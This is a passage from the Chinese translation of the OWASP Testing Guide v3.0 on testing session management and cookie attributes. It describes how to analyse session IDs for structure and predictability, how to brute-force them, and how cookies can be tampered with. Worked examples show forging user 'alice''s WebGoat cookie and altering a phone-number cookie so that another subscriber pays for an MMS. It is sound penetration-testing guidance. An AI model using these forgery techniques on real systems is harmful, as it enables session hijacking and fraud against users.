操 纵 cookie 第 一 步 需 要 了 解 应 用 程 序 如 何 创 建 和 管 理 Cookie 。 我 们 必 须 尝 试 回 答 下 列 问 题 来 完 成 这 个 任 务 :<br />

• 应 用 程 序 使 用 了 多 少 个 cookies?<br />

浏 览 整 个 应 用 程 序 。 注 意 哪 些 时 候 创 建 了 Cookie。 列 出 清 单 , 包 括 所 收 到 的 cookie 、 设 置 cookie 的 网 页 ( 包 含 Set-<br />

Cookie 指 令 )、 有 效 的 域 、 值 和 特 征 。<br />

155


• 应 用 的 哪 一 部 分 产 生 和 / 或 修 改 Cookie ?<br />

浏 览 整 个 应 用 程 序 , 确 认 哪 些 cookie 没 有 变 化 , 哪 些 被 修 改 了 。 是 什 幺 操 作 修 改 了 cookie?<br />

• 进 入 和 使 用 应 用 程 序 的 哪 一 部 分 需 要 利 用 此 Cookie?<br />

找 出 应 用 程 序 哪 些 部 分 需 要 cookie 。 访 问 一 个 网 页 , 在 没 有 cookie 情 况 下 再 次 访 问 , 或 者 使 用 修 改 后 的 值 访 问 。 尝<br />

试 标 注 使 用 Cookie 的 情 况 。<br />

这 一 阶 段 的 宝 贵 输 出 就 是 将 cookie 所 映 像 的 相 应 应 用 程 序 部 分 及 其 相 关 信 息 整 理 成 电 子 表 格 。<br />

会 话 分 析<br />

会 话 验 证 码 (Cookie, 会 话 ID 或 隐 藏 字 段 ) 本 身 应 进 行 审 查 , 以 确 保 其 质 量 符 合 安 全 标 准 。 需 要 对 他 们 进 行 测 试 以<br />

确 认 他 们 达 到 相 关 标 准 , 如 随 机 性 , 独 特 性 , 对 统 计 分 析 和 加 密 分 析 的 抵 抗 性 和 信 息 泄 漏 。<br />

验 证 码 结 构 & 信 息 泄 露<br />

第 一 阶 段 是 检 测 应 用 程 序 中 会 话 ID 的 结 构 和 内 容 。 在 验 证 码 中 包 含 具 体 数 据 是 常 见 的 错 误 情 况 。 验 证 码 中 应 该 只 包<br />

含 一 个 本 身 没 有 意 义 的 值 , 用 作 关 联 存 放 在 服 务 端 的 真 实 数 据 。 如 果 会 话 ID 是 明 文 , 其 结 构 和 有 关 数 据 可 立 即 显 示<br />

如 下 :<br />

192.168.100.1:owaspuser:password:15:58<br />

如 果 部 分 或 整 个 验 证 码 是 编 码 或 散 列 的 , 应 该 将 验 证 码 跟 各 种 方 法 进 行 比 较 , 以 便 能 查 看 明 显 用 作 混 淆 之 方 法 。 例<br />

如 字 符 串 “192.168.100.1:owaspuser:password:15:58” 在 Hex,Base64 和 MD5 哈 希 值 中 分 别 是 :<br />

Hex<br />

Base64<br />

MD5<br />

3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538<br />

MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=<br />

01c2fc4f0a817afd8366689bd29dd40a<br />

在 确 定 混 淆 的 类 型 后 才 有 可 能 解 码 到 原 始 数 据 。 然 而 在 大 多 数 情 况 下 很 难 做 到 这 一 点 的 。 即 使 如 此 , 我 们 同 样 可 以<br />

从 信 息 的 格 式 中 列 举 所 使 用 的 编 码 。 就 能 进 行 自 动 化 穷 举 攻 击 。 混 合 验 证 方 式 可 能 包 含 一 些 信 息 如 果 可 以 推 断 验 证<br />

码 中 的 格 式 和 混 淆 技 术 , 就 能 进 行 自 动 化 暴 力 攻 击 。 混 合 验 证 码 可 能 包 含 的 一 些 信 息 , 如 IP 地 址 或 用 户 名 , 以 及 经<br />

过 编 码 处 理 的 其 它 信 息 :<br />

owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412<br />

分 析 完 单 个 会 话 验 证 码 后 , 应 该 检 查 一 个 代 表 性 的 案 例 。 简 单 分 析 验 证 码 后 就 能 很 快 确 认 模 式 类 型 。 例 如 , 32 位 的<br />

验 证 码 可 能 包 含 16 位 的 静 态 数 据 和 16 位 的 动 态 数 据 。 这 就 说 明 开 始 的 16 位 代 表 了 用 户 的 固 定 属 性 , 如 用 户 名 或<br />

IP 地 址 。 如 果 后 面 的 16 位 是 规 则 地 渐 进 性 的 , 它 可 能 表 示 序 列 号 或 验 证 码 产 生 的 时 间 。 例 如 : 如 果 确 定 了 验 证 码<br />

的 静 态 数 据 , 就 应 该 收 集 其 它 案 例 , 每 次 只 变 化 其 中 一 个 的 潜 在 因 素 。 例 如 , 使 用 不 同 用 户 账 户 或 不 同 IP 地 址 登 录<br />

可 能 在 验 证 码 的 静 态 数 据 部 分 发 生 变 化 。 在 对 单 个 或 多 个 会 话 ID 结 构 测 试 时 应 该 考 虑 下 面 因 素 :<br />

156


OWASP 测 试 指 南 v3.0<br />

• 会 话 ID 中 哪 部 分 是 静 态 的 ?<br />

• 会 话 ID 中 存 储 了 什 幺 样 的 明 文 机 密 信 息 ? 例 如 用 户 名 , IP 地 址<br />

• 存 储 了 哪 些 易 解 码 的 机 密 信 息 ?<br />

• 从 会 话 ID 的 结 构 中 可 以 推 导 出 什 幺 信 息 ?<br />

• 在 同 样 的 登 录 条 件 下 , 会 话 ID 哪 部 分 是 静 态 的 ?<br />

• 会 话 ID( 或 其 中 的 一 些 部 分 ) 中 有 什 幺 样 的 明 显 模 式 ?<br />

会 话 ID 的 可 预 测 性 和 随 机 性<br />

分 析 会 话 ID 的 变 量 部 分 ( 如 有 的 话 ), 建 立 任 何 可 辨 认 或 可 预 见 模 式 。 可 以 进 行 人 工 定 制 分 析 , OTS 分 析 或 密 码 分<br />

析 推 断 会 话 ID 内 容 中 有 没 有 任 何 模 式 。 人 工 检 测 应 该 包 括 比 较 同 样 条 件 登 录 情 况 中 的 会 话 ID, 例 如 , 同 样 的 用 户<br />

名 、 密 码 、IP。 同 时 要 控 制 好 时 间 。 为 了 在 同 一 时 间 收 集 很 多 案 例 并 保 持 变 量 不 发 生 变 化 , 应 该 制 造 大 量 的 并 发 连<br />

接 ( 但 要 注 意 的 是 , 即 使 50ms 或 更 少 的 时 间 都 可 能 过 于 粗 糙 )。 按 照 这 种 方 式 收 集 的 案 例 可 能 揭 示 以 时 间 为 基 础<br />

的 组 成 部 分 。 随 着 时 间 推 移 对 可 变 因 素 进 行 分 析 以 确 定 它 们 是 否 是 渐 进 性 的 。 如 果 他 们 是 渐 进 的 , 应 该 调 查 有 关 绝<br />

对 时 间 或 经 过 时 间 的 模 式 。 许 多 系 统 使 用 时 间 作 为 伪 随 机 因 素 的 种 子 。 如 果 模 式 看 似 随 意 , 那 个 会 话 ID 就 有 可 能 用<br />

了 单 向 哈 希 的 时 间 值 或 含 有 其 它 环 境 变 量 。 通 常 情 况 下 , 由 于 加 密 散 列 的 结 果 是 一 个 十 进 制 或 十 六 进 制 数 , 所 以 应<br />

该 很 容 易 被 识 别 。 在 分 析 会 话 ID 序 列 、 模 式 或 周 期 、 静 态 要 素 和 客 户 资 料 都 可 能 是 应 用 结 构 和 功 能 的 其 中 一 个 要<br />

素 。<br />

• 会 话 ID 能 否 被 证 明 具 有 随 机 性 ? 即 所 产 生 的 值 序 列 可 以 被 预 见 或 重 复 ?<br />

• 同 样 的 输 入 条 件 是 否 能 在 每 一 次 运 行 中 都 产 生 同 样 的 ID?<br />

• 是 否 能 证 明 会 话 ID 能 抵 抗 统 计 分 析 或 密 码 分 析 ?<br />

• 会 话 ID 中 哪 些 因 素 与 时 间 联 系 ?<br />

• 会 话 ID 中 哪 些 部 分 是 可 以 预 见 的 ?<br />

• 在 充 分 了 解 生 产 算 法 并 知 道 前 一 个 ID, 是 否 可 以 推 断 出 下 一 个 ID?<br />

Cookie 逆 向 工 程<br />

现 在 我 们 已 经 列 举 了 Cookie 并 大 致 了 解 如 何 使 用 cookie。 接 下 来 就 应 该 更 深 入 了 解 感 兴 趣 的 cookie。 但 哪 些 cookie<br />

是 我 们 感 兴 趣 的 呢 ? 为 了 给 会 话 管 理 提 供 安 全 方 式 ,cookie 必 须 结 合 各 种 特 点 , 旨 在 保 护 cookie 免 受 不 同 类 别 的 攻<br />

击 。 这 些 特 点 概 括 如 下 :<br />

157


1. 不 可 预 测 性 : 一 个 Cookie 必 须 包 含 一 定 数 量 难 以 猜 测 的 数 据 。 伪 造 有 效 的 Cookie 越 难 , 则 进 入 合 法 用 户 会<br />

话 也 越 难 。 如 果 攻 击 者 可 以 猜 到 合 法 用 户 活 跃 会 话 中 的 Cookie, 他 / 她 将 可 以 完 全 模 仿 该 用 户 ( 会 话 劫 持 )<br />

。 为 了 使 一 个 cookie 难 以 被 预 测 , 可 以 使 用 随 机 值 和 / 或 加 密 方 式 。<br />

2. 防 篡 改 : 一 个 Cookie 必 须 能 抵 制 恶 意 篡 改 。 如 果 我 们 收 到 一 个 cookie, 如 :IsAdmin =no, 那 幺 修 改 这 个<br />

cookie 就 能 轻 易 地 获 得 管 理 权 限 , 除 非 应 用 程 序 执 行 双 重 检 查 ( 例 如 , 给 cookie 添 加 加 密 了 的 哈 希 值 )<br />

3. 有 效 期 : 重 要 的 Cookie 必 须 只 在 适 当 的 时 期 内 有 效 并 且 使 用 后 必 须 从 磁 盘 / 内 存 中 删 除 , 以 避 免 重 放 的 风<br />

险 。 但 这 并 不 适 用 于 存 储 非 关 键 数 据 的 Cookie。( 例 如 , 网 站 外 观 的 设 定 )<br />

4. 安 全 标 志 : 如 果 cookie 的 值 对 会 话 的 完 整 性 起 着 重 要 作 用 , 就 应 该 将 其 标 记 成 "Secure", 以 便 其 按 照 加 密 渠<br />

道 传 输 , 以 防 止 窃 听 。<br />

这 里 的 方 法 是 针 对 某 个 Cookie 收 集 足 够 数 据 的 案 例 , 并 在 收 集 的 案 例 的 值 中 寻 找 各 种 模 式 。 “ 足 够 ” 的 含 义 根 据 案<br />

例 不 同 而 不 同 。 如 果 Cookie 的 生 成 方 法 很 容 易 被 辨 认 , 则 “ 足 够 ” 可 以 只 是 几 十 个 案 例 。 但 如 果 需 要 进 行 数 学 分<br />

析 , 则 可 能 需 要 几 千 个 案 例 ( 例 如 ,chi-squares,attractors。 欲 了 解 更 多 信 息 请 查 看 文 章 下 面 的 内 容 ) 。<br />

因 为 会 话 的 状 态 对 收 集 cookie 起 着 重 要 影 响 , 因 此 我 们 需 要 特 别 关 注 应 用 的 工 作 流 程 。 例 如 , 在 认 证 之 前 收 集 的<br />

cookie 和 认 证 之 后 收 集 的 cookie, 可 以 有 很 大 的 不 同 。<br />

另 一 个 方 面 需 要 考 虑 的 因 素 是 时 间 : 当 时 间 会 影 响 cookie 值 时 , 就 要 记 录 获 得 cookie 的 确 切 时 间 ( 服 务 器 可 以 使 用<br />

时 间 戳 作 为 cookie 值 的 一 部 分 ) 。 记 录 的 时 间 可 以 是 本 地 时 间 或 包 含 在 HTTP 响 应 中 的 服 务 器 时 间 戳 ( 或 两 者 并<br />

用 ) 。<br />

分 析 所 收 集 的 值 , 试 图 找 出 所 有 可 能 影 响 该 cookie 值 的 变 数 , 并 且 每 次 只 变 化 其 中 一 个 潜 在 因 素 。 将 这 个 经 过 修 改<br />

的 cookie 传 递 到 服 务 器 可 以 帮 助 我 们 了 解 应 用 程 序 如 何 读 取 和 处 理 cookie。<br />

在 这 一 阶 段 实 行 的 检 测 案 例 包 括 :<br />

• Cookie 使 用 什 幺 字 符 集 ?Cookie 是 否 有 数 值 ? 是 否 有 字 母 ? 是 否 是 十 六 进 制 ? 如 果 我 们 在 cookie 插 入 一 个<br />

不 属 于 预 期 字 符 集 的 字 符 , 会 出 现 什 幺 情 况 ?<br />

• Cookie 是 否 由 携 带 不 同 信 息 的 部 分 组 成 ? 如 何 区 分 这 些 不 同 部 分 ? 包 含 哪 些 分 隔 符 ? cookie 有 些 部 分 有 较<br />

高 的 差 异 , 有 些 部 分 基 本 相 同 , 有 些 部 分 只 包 含 限 定 数 量 的 值 。 第 一 步 ( 也 是 最 基 础 的 一 步 ) 是 区 分<br />

cookie 的 组 成 部 分 。 下 面 例 子 是 一 个 易 于 解 构 的 cookie:<br />

ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q<br />

在 这 个 例 子 中 , 我 们 看 到 5 个 不 同 的 字 段 , 包 含 不 同 类 型 的 数 据 :<br />

ID – 十 六 进 制 数 值<br />

CR – 小 整 数 类 型<br />

158


OWASP 测 试 指 南 v3.0<br />

TM and LM – 长 整 数 .( 奇 怪 的 是 他 们 持 有 相 同 的 值 , 不 知 改 变 其 中 一 个 值 会 发 生 什 幺 情 况 。)<br />

S – 字 母 和 数 字 的 混 合<br />

即 使 在 没 有 使 用 分 隔 符 时 , 有 足 够 的 样 本 也 可 以 帮 助 解 构 cookie。 让 我 们 来 看 看 下 面 的 例 子 :<br />

0123456789abcdef<br />

穷 举 攻 击<br />

穷 举 攻 击 毫 无 疑 问 依 赖 于 可 预 测 性 和 随 机 性 方 面 的 问 题 暴 力 攻 击<br />

暴 力 攻 击 毫 无 疑 问 让 我 们 想 到 可 预 测 性 和 随 机 性 方 面 的 问 题 。 必 须 考 虑 会 话 ID 中 出 现 的 差 异 和 应 用 程 序 会 话 的 有 效<br />

期 和 超 时 设 定 。 如 果 会 话 ID 的 变 化 相 对 比 较 小 、 会 话 ID 效 力 很 长 , 那 幺 穷 举 攻 击 的 成 功 性 高 很 多 。 长 期 会 话 有 效<br />

期 很 长 , 那 幺 暴 力 攻 击 的 成 功 性 高 很 多 。 相 对 比 较 长 ( 或 者 说 存 在 大 量 变 化 的 会 话 ID) 和 较 短 的 有 效 期 会 导 致 穷 举<br />

攻 击 很 难 成 功 和 较 短 有 效 期 的 会 话 ID, 会 导 致 暴 力 攻 击 很 难 成 功 。<br />

• 对 所 有 可 能 的 会 话 ID 实 施 穷 举 攻 击 需 要 花 费 多 长 时 间 ?<br />

• 会 话 ID 空 间 是 否 足 够 大 , 能 够 防 止 暴 力 破 解 ? 例 如 , 与 有 效 寿 命 相 比 , 会 话 ID 的 长 度 是 否 足 够 长 ?<br />

• 故 意 延 迟 以 不 同 会 话 ID 的 连 接 尝 试 是 否 能 减 低 暴 力 破 解 攻 击 的 风 险 ?<br />

修 改 Cookie<br />

一 旦 你 从 cookie 中 得 到 了 尽 可 能 多 的 信 息 , 就 应 该 开 始 修 改 cookie。 这 里 的 方 法 很 大 程 度 上 依 赖 于 分 析 阶 段 的 结<br />

果 , 但 我 们 可 以 提 供 一 些 例 子 :<br />

例 1: Cookie 明 文 认 证<br />

图 1 案 例 是 在 修 改 应 用 程 序 的 cookie。 它 允 许 移 动 电 信 运 营 商 用 户 通 过 互 联 网 发 送 MMS 消 息 。 使 用 OWASP<br />

WebScarab 或 BurpProxy 访 问 整 个 应 用 程 序 后 我 们 可 以 看 到 , 在 身 份 验 证 过 程 结 束 后 ,Cookie msidnOneShot 包 含 发<br />

件 人 的 电 话 号 码 : 这 个 cookie 是 服 务 付 款 程 序 用 来 识 别 用 户 的 。 然 而 , 电 话 号 码 以 明 文 形 式 储 存 并 且 没 有 任 何 保 护<br />

方 法 。 因 此 , 如 果 我 们 把 cookie 从 msidnOneShot = 3 ******* 59 修 改 成 msidnOneShot = 3 ******* 99, 移 动 用 户 3<br />

******* 99 将 支 付 该 彩 信 !<br />

159


Cookie 明 文 认 证 实 例<br />

例 2: 可 猜 测 cookie<br />

例 如 :“Weak Authentication cookie” 课 程 中 的 OWASP WebGoat , 其 cookie 值 很 容 易 被 猜 测 并 用 于 模 仿 用 户 。 在 这<br />

个 例 子 中 , 你 最 初 知 道 两 个 用 户 名 / 密 码 ( 对 应 于 用 户 名 “webgoat” 和 “aspect”) 。 我 们 的 目 标 是 对 Cookie 创 建<br />

逻 辑 实 施 逆 向 工 程 并 破 解 用 户 “alice” 的 账 户 。 使 用 这 两 个 已 知 的 用 户 名 / 密 码 组 合 通 过 应 用 程 序 认 证 , 就 可 以 得 到<br />

相 应 的 身 份 验 证 的 Cookie 。 表 1 中 你 可 以 找 到 每 个 用 户 名 / 密 码 、 相 应 的 cookie、 确 切 登 录 时 间 之 间 的 联 系 。<br />

用 户 名 密 码 Cookie 认 证 – 时 间<br />

webgoat Webgoat<br />

65432ubphcfx – 10/7/2005-10:10<br />

65432ubphcfx – 10/7/2005-10:11<br />

aspect<br />

Aspect<br />

65432udfqtb – 10/7/2005-10:12<br />

65432udfqtb – 10/7/2005-10:13<br />

alice ????? ???????????<br />

Cookie 收 集<br />

首 先 , 我 们 可 以 注 意 到 , 同 一 用 户 不 同 时 间 登 陆 的 验 证 Cookie 保 持 不 变 。 这 是 对 重 放 攻 击 第 一 个 关 键 漏 洞 : 如 果 我<br />

们 能 够 窃 取 有 效 的 Cookie ( 例 如 使 用 XSS 漏 洞 ) , 我 们 可 以 在 不 知 道 用 户 证 书 情 况 下 用 它 来 劫 持 相 关 用 户 的 会<br />

160


OWASP 测 试 指 南 v3.0<br />

话 。 此 外 , 我 们 注 意 到 ,“webgoat” 和 “aspect” 的 cookies 有 一 个 共 通 的 部 分 :“65432u”。“65432” 似 乎 是 个<br />

常 数 整 数 。“u” 呢 ?“webgoat” 和 “aspect” 字 符 串 都 以 字 母 “t” 结 束 , 而 他 们 的 cookies 则 同 时 以 字 母 “u” 紧<br />

随 。 我 们 看 看 “webgoat” 后 面 的 每 个 字 符 :<br />

1st char: “w” + 1 =“x”<br />

2nd char: “e” + 1 = “f”<br />

3rd char: “b” + 1 = “c”<br />

4th char: “g” + 1= “h”<br />

5th char: “o” + 1= “p”<br />

6th char: “a” + 1= “b”<br />

7th char: “t” + 1 = “u”<br />

我 们 得 知 “xfchpbu ” 后 就 能 知 道 “ubphcfx” 了 。 该 算 法 刚 好 适 合 “aspect” 用 户 , 所 以 我 们 只 有 对 用 户 “alice”<br />

也 试 用 这 一 算 法 , 而 得 到 的 Cookie 的 结 果 是 “65432fdjmb”。 我 们 再 次 使 用 “webgoat” 证 书 验 证 应 用 程 序 , 得 到<br />

相 关 cookie 后 , 使 用 计 算 出 的 alice 证 书 号 代 替 原 来 cookie 中 的 证 书 号 , 好 …… 宾 果 ! 现 在 , 应 用 程 序 确 定 我 们 身<br />

份 是 “alice” , 而 不 是 “ webgoat ” 。<br />

暴 力 破 解<br />

使 用 穷 举 攻 击 能 找 到 正 确 的 身 份 验 证 Cookie , 但 这 可 能 是 非 常 耗 时 的 技 术 。Foundstone Cookie Digger 能 够 帮 助 收 集<br />

大 量 的 cookie, 找 到 cookie 平 均 长 度 和 字 符 集 。 再 者 , 该 工 具 比 较 了 不 同 的 cookie 值 以 便 检 查 每 次 连 续 登 录 时 有 多<br />

少 字 符 发 生 变 化 。 如 果 该 Cookie 值 在 连 续 登 录 时 不 断 改 变 ,Cookie Digger 就 会 给 攻 击 者 更 长 的 时 间 实 施 穷 举 攻 击 就<br />

会 给 攻 击 者 建 议 使 用 更 多 暴 力 攻 击 的 次 数 。 例 如 在 下 表 中 , 我 们 已 经 从 公 共 网 站 收 集 了 所 有 的 cookies, 试 图 进 行<br />

10 次 验 证 尝 试 。 对 于 收 集 的 每 一 个 类 型 的 cookie, 我 们 已 经 评 估 了 所 有 “ 暴 力 破 解 ” 该 cookie 所 需 要 的 可 能 尝 试 。<br />

CookieName<br />

Has Username or<br />

Password<br />

Average<br />

Length<br />

Character Set<br />

Randomness<br />

Index<br />

Brute Force Attempts<br />

X_ID False 820 , 0-9, a-f 52,43 2,60699329187639E+129<br />

COOKIE_IDENT_SERV False 54 , +, /-9, A-N, P-X, Z, a-z 31,19 12809303223894,6<br />

X_ID_YACAS False 820 , 0-9, a-f 52,52 4,46965862559887E+129<br />

COOKIE_IDENT False 54 , +, /-9, A-N, P-X, Z, a-z 31,19 12809303223894,6<br />

X_UPC False 172 , 0-9, a-f 23,95 2526014396252,81<br />

CAS_UPC False 172 , 0-9, a-f 23,95 2526014396252,81<br />

CAS_SCC False 152 , 0-9, a-f 34,65 7,14901878613151E+15<br />

COOKIE_X False 32 , +, /, 0, 8, 9, A, C, E, K, M, O, Q, R, W-Y, e-h, l, 0 1<br />

161


m, q, s, u, y, z<br />

vgnvisitor False 26<br />

, 0-2, 5, 7, A, D, F-I, K-M, O-Q, W-Y, a-h, j-q, t,<br />

u, w-y, ~<br />

33,59 18672264717,3479<br />

X_ID<br />

5573657249643a3d333335363937393835323b4d736973646e3a3d333335363937393835323b537461746f436f6e73656e736f3a3d303b4d65746f646f417574656e746963……<br />

5573657249643a3d333335363937393835323b4d736973646e3a3d333335363937393835323b537461746f436f6e73656e736f3a3d303b4d65746f646f417574656e7469636<br />

溢 出<br />

Cookie Digger 报 告 实 例<br />

因 为 服 务 器 得 到 的 Cookie 值 将 存 储 在 一 个 或 多 个 变 量 中 , 导 致 经 常 存 在 对 这 些 变 量 实 施 边 界 攻 击 的 情 况 。 Cookie 溢<br />

出 能 得 到 缓 冲 区 溢 出 攻 击 的 相 同 后 果 。 拒 绝 服 务 通 常 是 最 有 可 能 的 后 果 , 但 也 有 可 能 导 致 容 许 执 行 远 程 代 码 。 通 常<br />

情 况 下 , 这 需 要 详 细 了 解 远 程 系 统 的 架 构 。 一 般 任 何 缓 冲 区 溢 出 技 术 严 重 依 赖 于 底 层 操 作 系 统 和 内 存 管 理 , 以 便 正<br />

确 计 算 偏 移 值 和 插 入 代 码 。<br />

举 例 :http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html<br />

灰 盒 测 试<br />

如 果 您 可 以 得 到 会 话 管 理 模 式 的 实 现 方 法 , 您 可 以 检 查 以 下 内 容 :<br />

• 随 机 会 话 令 牌<br />

会 话 ID 或 发 给 客 户 端 的 Cookie 应 该 是 不 容 易 预 测 的 ( 不 使 用 基 于 可 预 测 变 数 ( 如 客 户 端 IP 地 址 ) 的 线 性 算 法 ) 。<br />

建 议 使 用 密 钥 长 度 256 位 的 加 密 算 法 ( 如 AES) 。<br />

• 令 牌 长 度<br />

会 话 ID 至 少 有 50 个 字 符 的 长 度 。<br />

• 会 话 超 时<br />

会 话 令 牌 应 该 定 义 一 个 有 效 时 间 ( 这 取 决 于 应 用 管 理 的 数 据 的 重 要 性 )<br />

• Cookie 属 性 配 置 :<br />

o<br />

o<br />

非 持 久 性 : 只 存 在 RAM 内 存<br />

Secure( 仅 设 置 在 https 信 道 ): 设 置 cookie:cookie=data; path=/; domain=.aaa.it; secure<br />

162


OWASP 测 试 指 南 v3.0<br />

o<br />

HTTPOnly ( 脚 本 不 可 读 ): 设 置 Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly<br />

更 多 信 息 参 见 : Testing_for_cookies_attributes<br />

参 考<br />

白 皮 书<br />

• RFC 2965 “HTTP State Management Mechanism”<br />

• RFC 1750 “Randomness Recommendations for Security”<br />

• “Strange Attractors and TCP/IP Sequence Number Analysis”:<br />

http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm<br />

• Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html<br />

• ENT: http://fourmilab.ch/random/<br />

• http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html<br />

• Darrin Barrall: "Automated Cookie Analysis" – http://www.spidynamics.com/assets/documents/SPIcookies.pdf<br />

• Gunter Ollmann: "Web Based Session Management" - http://www.technicalinfo.net<br />

• Matteo Meucci:"MMS Spoofing" - www.owasp.org/images/7/72/MMS_Spoofing.ppt<br />

工 具<br />

• OWASP's WebScarab features a session token analysis mechanism. You can read How to test session identifier strength with<br />

WebScarab.<br />

• Foundstone CookieDigger - http://www.foundstone.com/resources/proddesc/cookiedigger.htm<br />

4.5.2 COOKIES 属 性 测 试 (OWASP-SM-002)<br />

概 要<br />

对 恶 意 用 户 来 说 Cookies 通 常 是 一 个 关 键 的 攻 击 媒 介 ( 通 常 是 针 对 其 它 用 户 ) , 因 此 , 应 用 程 序 应 该 注 意 保 护<br />

cookie。 在 本 节 中 , 我 们 将 看 看 应 用 在 分 配 cookie 时 应 采 取 怎 样 的 预 防 措 施 以 及 如 何 测 试 这 些 属 性 并 正 确 配 置 。<br />

163


问 题 描 述<br />

安 全 使 用 Cookie 的 重 要 性 不 能 低 估 , 尤 其 是 在 需 要 通 过 HTTP 这 样 的 无 状 态 协 议 来 保 持 状 态 的 动 态 网 络 应 用 程 序 。<br />

理 解 cookies 的 重 要 性 需 要 了 解 他 们 主 要 用 于 何 处 。 他 们 的 主 要 职 能 包 括 用 来 作 为 回 话 授 权 / 认 证 令 牌 或 作 为 临 时 数<br />

据 内 存 他 们 的 主 要 职 能 包 括 用 来 作 为 会 话 授 权 / 认 证 令 牌 或 作 为 临 时 数 据 存 储 器 。 因 此 , 如 果 一 个 攻 击 者 通 过 一 些 手<br />

段 获 得 一 个 会 话 令 牌 ( 例 如 , 通 过 利 用 一 个 跨 站 点 脚 本 漏 洞 或 嗅 探 未 加 密 会 话 得 到 令 牌 ) , 那 幺 他 / 她 可 以 使 用 这<br />

个 cookie 劫 持 一 个 有 效 的 会 话 。 此 外 , Cookie 是 用 来 关 联 一 个 会 话 中 的 多 个 请 求 。 这 是 因 为 HTTP 是 无 状 态 的 , 如<br />

果 没 有 某 种 类 型 的 标 识 符 , 服 务 器 无 法 确 定 收 到 的 请 求 是 否 是 当 前 会 话 的 一 部 分 或 者 是 作 为 一 个 新 会 话 的 开 始 。 虽<br />

然 有 其 它 方 法 , 但 这 个 标 识 符 通 常 就 是 一 个 cookie。 许 多 不 同 类 型 的 应 用 程 序 都 需 要 关 联 一 个 会 话 中 的 多 个 请 求 ,<br />

而 在 线 商 城 就 是 一 个 很 好 的 例 子 。 当 一 个 用 户 在 一 个 购 物 车 中 增 加 了 多 个 产 品 , 这 些 数 据 应 该 保 留 在 对 应 用 程 序 以<br />

后 的 所 有 请 求 中 。 这 种 保 存 数 据 的 任 务 通 常 以 Cookie 来 实 现 。 应 用 程 序 在 HTTP 回 应 中 使 用 Set-Cookie 指 令 设 置 相<br />

关 cookie, 通 常 使 用 name=value 格 式 ( 如 果 cookie 功 能 被 启 用 并 被 支 持 的 话 ; 而 所 有 现 代 web 浏 览 器 都 会 支 持<br />

cookie 功 能 ) 。 一 旦 应 用 程 序 指 示 浏 览 器 使 用 某 个 cookie, 浏 览 器 会 在 每 个 以 后 的 请 求 中 发 送 这 个 cookie。Cookie<br />

中 可 以 包 含 的 数 据 包 括 : 在 线 购 物 车 中 的 产 品 、 所 选 产 品 的 价 格 、 数 量 、 个 人 信 息 、 用 户 ID 等 等 。 由 于 cookie 中<br />

存 在 敏 感 信 息 , 他 们 一 般 都 进 行 编 码 或 加 密 来 保 护 其 中 的 信 息 。 通 常 情 况 下 , 在 序 列 请 求 中 会 设 置 多 个 Cookie( 由<br />

分 号 分 隔 )。 例 如 , 在 在 线 商 城 案 例 中 , 由 于 你 在 购 物 车 中 增 加 了 多 个 产 品 , 应 用 程 序 将 设 置 一 个 新 的 cookie。 此<br />

外 , 一 旦 登 录 到 在 线 商 城 应 用 程 序 中 , 你 通 常 会 有 一 个 验 证 cookie( 上 述 会 话 令 牌 ), 同 时 会 有 其 它 多 个 cookie 用<br />

于 验 证 你 希 望 购 买 的 产 品 及 相 关 信 息 ( 即 价 格 和 数 量 )。<br />

现 在 你 已 经 了 解 如 何 设 置 cookies 、 何 时 设 置 cookies、cookie 的 用 处 、 使 用 cookies 的 原 因 以 及 他 们 的 重 要 性 。 接 下<br />

来 我 们 将 了 解 cookie 的 属 性 以 及 如 何 测 试 cookie 的 安 全 。 下 面 是 cookie 的 属 性 列 表 及 其 含 义 。 下 一 节 将 重 点 放 在<br />

如 何 测 试 每 个 属 性 。<br />

• Secure —— 这 个 属 性 告 诉 浏 览 器 只 有 在 通 过 类 似 Https 的 安 全 信 道 发 送 请 求 时 才 可 以 在 加 入 cookie 。 这 将<br />

防 止 cookie 在 非 加 密 的 信 道 被 发 送 。<br />

如 果 可 以 通 过 HTTP 和 HTTPS 访 问 应 用 程 序 , 那 幺 Cookie 有 可 能 是 明 文 形 式 发 送 的 。<br />

• HttpOnly —— 这 个 属 性 是 用 来 防 止 攻 击 , 如 跨 站 点 脚 本 。 它 不 允 许 通 过 JavaScript 等 客 户 端 脚 本 访 问<br />

cookie 。 请 注 意 , 并 非 所 有 浏 览 器 都 支 持 此 功 能 。<br />

• Domain —— 此 属 性 是 用 来 比 较 正 在 要 求 的 URL 的 域 名 。 如 果 域 匹 配 , 或 者 如 果 它 是 一 个 子 域 , 那 幺 下 一 步<br />

将 检 测 Path 属 性 。<br />

注 意 : 只 有 在 指 定 域 名 的 主 机 才 可 以 为 该 域 名 设 置 cookie。 同 时 域 名 属 性 不 能 是 顶 级 域 名 ( 如 .gov 或 .com), 以 防<br />

止 服 务 器 为 另 一 个 域 任 意 设 置 Cookie。 如 果 没 有 设 置 域 名 属 性 , 那 幺 将 使 用 产 生 cookie 的 服 务 器 主 机 名 用 作 域 名 的<br />

默 认 值 。 例 如 , 如 果 应 用 程 序 存 在 于 app.mydomain.com 没 有 使 用 域 名 属 性 来 设 置 cookie, 那 幺 浏 览 器 将 对<br />

app.mydomain.com 及 其 子 域 名 ( 如 hacker.app.mydomai.com) 的 所 有 请 求 重 新 提 交 该 Cookie, 但 这 并 不 适 用 于<br />

otherapp.mydomain.com 。 如 果 开 发 者 想 放 松 这 一 限 制 , 那 幺 他 可 以 将 域 名 属 性 设 置 为 mydomain.com 。 在 这 种 情 况<br />

164


OWASP 测 试 指 南 v3.0<br />

下 将 发 送 该 Cookie 给 所 有 请 求 , 包 括 app.mydomain.com 及 其 子 域 ( 如 hacker.app.mydomain.com ) 甚 至<br />

bank.mydomain.com 。 如 果 在 子 域 上 ( 例 如 , otherapp.mydomain.com ) 有 一 个 存 在 漏 洞 的 服 务 器 , 并 且 域 名 属 性<br />

设 定 过 于 松 散 ( 例 如 , mydomain.com), 那 幺 存 在 漏 洞 的 服 务 器 可 被 用 来 获 得 Cookie ( 如 会 话 令 牌 )。<br />

